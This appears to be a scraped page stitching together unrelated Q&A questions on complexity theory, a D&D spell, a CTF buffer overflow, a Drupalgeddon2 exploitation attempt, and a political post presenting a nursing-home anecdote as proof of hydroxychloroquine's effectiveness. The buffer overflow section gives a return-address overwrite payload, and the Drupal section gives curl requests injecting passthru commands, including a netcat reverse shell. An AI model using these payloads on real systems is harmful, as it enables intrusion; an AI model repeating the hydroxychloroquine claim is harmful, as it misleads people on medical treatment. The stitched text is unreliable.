Why isn’t SAT in coNP?

I understand why NP=coNP if SAT is in coNP (How do I prove that SAT in coNP implies NP=coNP?).

But I’m missing why the following machine doesn’t turing recognize the complementary of SAT:

Given a turing machine M that recognizes SAT, the following turing machine recognizes coSAT:

  1. Run M on the input word w.
  2. If M accepts – reject.
  3. If M rejects – accept.

Because coSAT is the language of all unsatisfiable formulas, a formula is unsatisfiable if it doesn’t have a satisfiable interpretation, which is exactly the opposite of what M outputs.

What am I missing in here?

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[ Politics ] Open Question : Why do liberals say that hydroxychloroquine isn’t effective?

https://www.fox7austin.com/news/fox-26-gets-unprecedented-access-to-texas-1st-nursing-home-to-treat-covid-19-with-hydroxychloroquine When COVID-19 was creating havoc at the nursing homeowner John Griffin says only two people quit. “99 percent of the staff stayed we had 34 employees that contracted Coronavirus all lived and 98% are back at work right now,” Griffin said.

Understanding why this buffer overflow attack isn’t working

I’m doing a buffer overflow challenge, and I can’t understand what exactly I’m doing wrong. Through debugging, I managed to figure out how my input should look like such that I can force the program to return to a function. From gdb I figured if I entered “aaaaaaaaaaaaaaaaaaaaaaaaaaaacdefbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb” I can get the program to return to cdef of 0x66656463. Here’s a sc just in case: enter image description here As you can see, the program managed to go to 0x66656463. Now I the function’s address through gdb and I tried placing this in cdef’s spot in little endian order using pwntools:

payload = "a" * 28 + "\x56\x85\x04\x08" + "b"*47 msg = "-1\n" + payload  io.sendline(msg) 

The reason for the “-1\n” is because the program asks for input twice: the first time I just enter -1 and then the second input I try the exploit. So far, I’m just getting a segfault and the address I want to jump to should be starting a shell for me to exploit. I’m not sure what exactly I’m doing wrong, and any help would be appreciated. If I had to guess it’s that I’m somehow dealing with the two inputs incorrectly (they’re being read via fgets() in C if that matters.)

EDIT: I have the source binary and I tried running it locally. I created the following txt file

-1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaV\x85\x04\x08bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 

and I redirect it in gdb via

run < <(cat input.txt) 

this works the same but whenever I add an escaped hex in place of the cdef, I get a different seg fault at a different address: enter image description here

It looks like if I replace any of the cdef with an escaped hex, I get a segfault at 0x08048726. Is something wrong with passing in the bytes?

how come wall of force isn’t over powered?

it just seems like a get-out-of-almost-any-fight free card would be kind of overpowered. you could escape almost any fight by cast wall of force behind you and running away . The spell description says that nothing can pass through and that it was indestructible except for a disintegrate spell, so enemies(or players) will be stuck unless they happen to know disintegrate. am I missing something?

Isn’t every polynomial time problem an NP problem?

See here. Knapsack problem — NP-complete despite dynamic programming solution?

The only reason Knapsack problem is NP-complete is because input comes as binary numbers so n is actually 2^n. Since the weight is an axis of the DP array.

Then for every single problem, for example one that requires an O(n) loop through an O(n) sized array, if we consider the array to actually be 2^n bits long or something towards that effect that actually makes sense, aren’t all of those problems actually NP-complete?

This seems to me like the original “feeling/intuition” of relatively middling test cases for NP problems not even working, is thrown off because then almost every algorithm ever is NP.

Sending a reverse shell command through the drupalgeddon vulnerability isn’t working

I’m trying to use the Drupalgeddon2 exploit (https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708) on drupal 7.57 ubuntu machine.

the requests:

-curl -k -s '[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=whoami' \ --data "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail new Password" | grep form_build_id .  -curl -k -i "$  {form_build_id}" \ --data "form_build_id=$  {form_build_id}". 

execute along with any other command (ls,cd…) and print a result.

but when I send the curl request:

curl -k -s '[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=nc-e/bin/sh 5555'--data "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail new Password" | grep form_build_id . 

It doesn’t print anything (form_build_id) not even an error, and the target doesn’t connect to handler. where do you think is the problem?

I have tried other payloads, and they result in the same things.